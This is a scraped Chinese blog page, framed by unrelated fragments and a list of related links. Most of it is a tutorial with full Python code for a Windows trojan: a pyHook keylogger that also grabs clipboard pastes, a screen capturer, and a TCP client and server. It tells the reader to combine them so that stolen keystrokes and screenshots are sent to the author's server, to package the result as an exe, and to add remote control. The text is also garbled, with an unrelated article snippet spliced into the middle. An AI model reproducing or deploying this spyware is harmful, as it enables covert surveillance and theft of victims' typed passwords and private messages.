本文章为小川先生原创,转载可以,请标明出处。 最近开始学python了,然后不小心开了个ss服务器,然后有同学找我要账号,我说,那好吧,回去给你整一个。但实际上,加个账号得改ss的json格式的配置文件,然后改完还得重启ss服务,配置文件要是不小心少个逗号

0x00 准备 文章内容仅供学习研究、切勿用于非法用途! 这次我们使用Python编写一个具有键盘记录、截屏以及通信功能的简易木马。依然选用Sublime text2 +JEDI(python自动补全插件)来撸代码。 首先准备好我们需要的依赖库,python hook和pythoncom。 下载安装python hook 下载安装pythoncom模块: 0x01 键盘记录器 说起Keylogger,大家的思维可能早已飞向带有wifi功能的mini小硬件去了。抛开高科技,我们暂且回归本质,探探简易键盘记录器的原理与实现。 Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓“人生苦短,快用Python”。 代码部分: # -*- coding: utf-8 -*-

from ctypes import *import pythoncomimport pyHookimport win32clipboard user32 = windll.user32kernel32 = windll.kernel32psapi = windll.psapicurrent_window = None #def get_current_process():

# 获取最上层的窗口句柄

hwnd = user32.GetForegroundWindow()

# 获取进程ID

pid = c_ulong(0)

user32.GetWindowThreadProcessId(hwnd,byref(pid))

# 将进程ID存入变量中

process_id = "%d" % pid.value

# 申请内存

executable = create_string_buffer("\x00"*512)

h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)

psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)

# 读取窗口标题

windows_title = create_string_buffer("\x00"*512)

length = user32.GetWindowTextA(hwnd,byref(windows_title),512)

# 打印

print

print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value)

print

# 关闭handles

kernel32.CloseHandle(hwnd)

kernel32.CloseHandle(h_process) # 定义击键监听事件函数def KeyStroke(event):

global current_window

# 检测目标窗口是否转移(换了其他窗口就监听新的窗口)

if event.WindowName != current_window:

current_window = event.WindowName

# 函数调用

get_current_process()

# 检测击键是否常规按键(非组合键等)

if event.Ascii > 32 and event.Ascii <127:

print chr(event.Ascii),

else:

# 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来

if event.Key == "V":

win32clipboard.OpenClipboard()

pasted_value = win32clipboard.GetClipboardData()

win32clipboard.CloseClipboard()

print "[PASTE]-%s" % (pasted_value),

else:

print "[%s]" % event.Key,

# 循环监听下一个击键事件

return True # 创建并注册hook管理器kl = pyHook.HookManager()kl.KeyDown = KeyStroke # 注册hook并执行kl.HookKeyboard()pythoncom.PumpMessages() 【知识点】钩子(Hook):Windows消息处理机制的一个平台,应用程序可以在上面设置子程以监视指定窗口的某种消息,而且所监视的窗口可以是其他进程所创建的。 撸代码时一定要注意严格区分大小写。检查无误后启动keylogger: 然后可以尝试打开记事本写点东西,过程中可以看到我们的keylogger窗口正在对我们的输入实时记录: 切换窗口时会自动跟踪到新窗口(众:这点功能都没有还敢叫keylogger吗!),light教Atitit.病毒木马程序的感染 传播扩散 原理

1. 从木马的发展史考虑,木马可以分为四代 1 2. 木马有两大类,远程控制

vs

自我复制传播1 3. 自我复制2 3.1. 需要知道当前cpu核心数量2 3.2. Cpu占用百分比2 3.3. Io占用百分比2 3.4. 内存占用百分率2 4. 通授趁机骚扰一下疯狗,可以看到我们的keylogger已经跟踪到QQ聊天窗口,并忠实的记录下我输入的一切。 0x02 看看你在干什么:编写一个screenshotter 截屏实现起来更简单,直接调用几个gui相关的api即可,我们直接看代码: # -*- coding: utf-8 -*-

import win32guiimport win32uiimport win32conimport win32api # 获取桌面hdesktop = win32gui.GetDesktopWindow() # 分辨率适应width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN) # 创建设备描述表desktop_dc = win32gui.GetWindowDC(hdesktop)img_dc = win32ui.CreateDCFromHandle(desktop_dc) # 创建一个内存设备描述表mem_dc = img_dc.CreateCompatibleDC() # 创建位图对象screenshot = win32ui.CreateBitmap()screenshot.CreateCompatibleBitmap(img_dc, width, height)mem_dc.SelectObject(screenshot) # 截图至内存设备描述表mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY) # 将截图保存到文件中screenshot.SaveBitmapFile(mem_dc, 'c:\\WINDOWS\\Temp\\screenshot.bmp') # 内存释放mem_dc.DeleteDC()win32gui.DeleteObject(screenshot.GetHandle()) 看看效果如何: 0x03 综合运用:完成一个简易木马 无论是keylogger记录下的内容,还是screenshotter截获的图片,只存在客户端是没有太大意义的,我们需要构建一个简单server和client端来进行通信,传输记录下的内容到我们的服务器上。 编写一个简单的TCPclient # -*- coding: utf-8 -*-import socket # 目标地址IP/URL及端口target_host = "127.0.0.1"target_port = 9999 # 创建一个socket对象client = socket.socket(socket.AF_INET,socket.SOCK_STREAM) # 连接主机client.connect((target_host,target_port)) # 发送数据client.send("GET / HTTP/1.1\r\nHOST:127.0.0.1\r\n\r\n") # 接收响应response = client.recv(4096) print response 编写一个简单的TCPserver # -*- coding: utf-8 -*-import socketimport threading # 监听的IP及端口bind_ip = "127.0.0.1"bind_port = 9999 server = socket.socket(socket.AF_INET,socket.SOCK_STREAM) server.bind((bind_ip,bind_port)) server.listen(5) print "[*] Listening on %s:%d" % (bind_ip,bind_port) def handle_client(client_socket):

request = client_socket.recv(1024)

print "[*] Received:%s" % request

client_socket.send("ok!")

client_socket.close() while True:

client,addr = server.accept()

print "[*] Accept connection from:%s:%d" % (addr[0],addr[1])

client_handler = threading.Thread(target=handle_client,args=(client,))

client_handler.start() 开启服务端监听: 客户端执行: 服务端接收到客户端的请求并作出响应: 0x04 结语 最后,你需要做的就是把上面三个模块结合起来,一个简易的具有键盘记录、屏幕截图并可以发送内容到我们服务端的木马就完成了。可以使用py2exe把脚本生成exe可执行文件。当然你还可以继续发挥,加上远程控制功能。

python写一个木马_Python编写简易木马程序 - 博客频道 - CSDN.NET相关推荐

  1. 用python做一个木马_Python编写简易木马程序

    light · 2015/01/26 10:07 0x00 准备 文章内容仅供学习研究.切勿用于非法用途! 这次我们使用Python编写一个具有键盘记录.截屏以及通信功能的简易木马.依然选用Subli ...

  2. python自动填写小程序表单_新年好!教大家用Python写一个自动回复拜年信息的小程序!...

    原标题:新年好!教大家用Python写一个自动回复拜年信息的小程序! 过年期间,想必大家都收到很多拜年信息吧!有没有也被拜年短信(大部分是群发)搞得很焦虑?不回复似乎显得很没有礼貌,一一回复又累心劳神 ...

  3. 编写字符串反转函数 - 小小外星人的技术博客 - 博客频道 - CSDN.NET

    编写字符串反转函数 - 小小外星人的技术博客 - 博客频道 - CSDN.NET 编写字符串反转函数 分类: 笔试面试题 2010-11-07 20:47 863人阅读 评论(0) 收藏 举报 首先用 ...

  4. Python -- 堆数据结构 heapq - I love this game! - 博客频道 - CSDN.NET

    Python -- 堆数据结构 heapq - I love this game! - 博客频道 - CSDN.NET Python -- 堆数据结构 heapq - I love this game ...

  5. Python语法解析器PLY——lex and yacc in Python - 娄振林专栏 - 博客频道 - CSDN.NET

    Python语法解析器PLY--lex and yacc in Python - 娄振林专栏 - 博客频道 - CSDN.NET Python语法解析器PLY--lex and yacc in Pyt ...

  6. python编写木马攻击_Python编写简易木马程序

    Python编写简易木马程序 0x00 准备 文章内容仅供学习研究.切勿用于非法用途! 这次我们使用Python编写一个具有键盘记录.截屏以及通信功能的简易木马.依然选用Sublime text2 + ...

  7. 用python写一个通讯录_python写一个通讯录

    闲着没事,用python写一个模拟通讯录,要求要实现常用的通讯录的功能,基本流程如下 ​ 接下来就按照这个流程实现各个模块的功能 1. 定义一个类,并初始化 def __init__(self): w ...

  8. python 写一个计算器_Python | 写个计算器吧

    今天咱们用python来写一个计算器,计算一组数的最大公约数和最小公倍数吧. 注:本文使用python3 01 死循环 下面给出一段看似正确的代码,这段代码的作用是给出n1,n2的最小公倍数. 你可以 ...

  9. 使用python写一个倒计时_Python 实现一个计时器

    问题 你想记录程序执行多个任务所花费的时间 解决方案 time 模块包含很多函数来执行跟时间有关的函数. 尽管如此,通常我们会在此基础之上构造一个更高级的接口来模拟一个计时器.例如: import t ...

  10. python写一个计时器_Python 实现一个计时器

    问题 你想记录程序执行多个任务所花费的时间 解决方案 time 模块包含很多函数来执行跟时间有关的函数. 尽管如此,通常我们会在此基础之上构造一个更高级的接口来模拟一个计时器.例如: import t ...

最新文章

  1. AngularJS 实现的输入自动完成补充功能
  2. mysql 断开的管道_ClientAbortException: java.net.SocketException: 断开的管道
  3. 基于STM32和W5500的Modbus TCP通讯
  4. c语言程序综合实习学生成绩,C语言程序设计综合实习报告
  5. 网络协议,各层功能,各层协议
  6. mysql设置账号过期
  7. Spring的beans标签下可以有其他标签
  8. 年薪30W的软件测试“老司机”工作经验
  9. JTS Geometry关系判断和分析
  10. Source does not fit in dest
  11. python编程-Python3 网络编程
  12. nfc修改饭卡软件下载_手机nfc模拟门禁卡app-NFC卡模拟软件中文版下载安卓标准版-西西软件下载...
  13. python手写计算器
  14. 微信小程序视频直播开发实现流程
  15. ffmpeg转换视频编码
  16. 模型预测控制(MPC)解析(五):基于状态估计的预测控制
  17. 傻瓜教学——什么是字符串?字符串有哪些概念?
  18. 常用的音频处理库介绍
  19. 树莓派python摄像头文字识别_古德微树莓派摄像头文字识别
  20. 开源搜索引擎排名第一,Elasticearch是如何做到的?

热门文章

  1. 服务器ipsan虚拟化,挂载IPSAN存储+链接克隆模板(修正版)
  2. 重定向后路径上自动添加jsessionid=
  3. 高斯光束的简单matlab仿真
  4. 深度学习-文档检测方案整理
  5. 极乐净土html5代码,天谕手游极乐净土乐谱代码分享
  6. VBS教程---第一篇
  7. cad命令栏还原默认_将CAD恢复到默认界面的两种方法,来看看吧
  8. linux udp转发脚本,使用Socat转发TCP和UDP流量搭建跳板教程及一键脚本
  9. 海思3516dv300之bmi160/LSM6DS3驱动总结
  10. 曲线运动与万有引力公式_专题三曲线运动与万有引力定律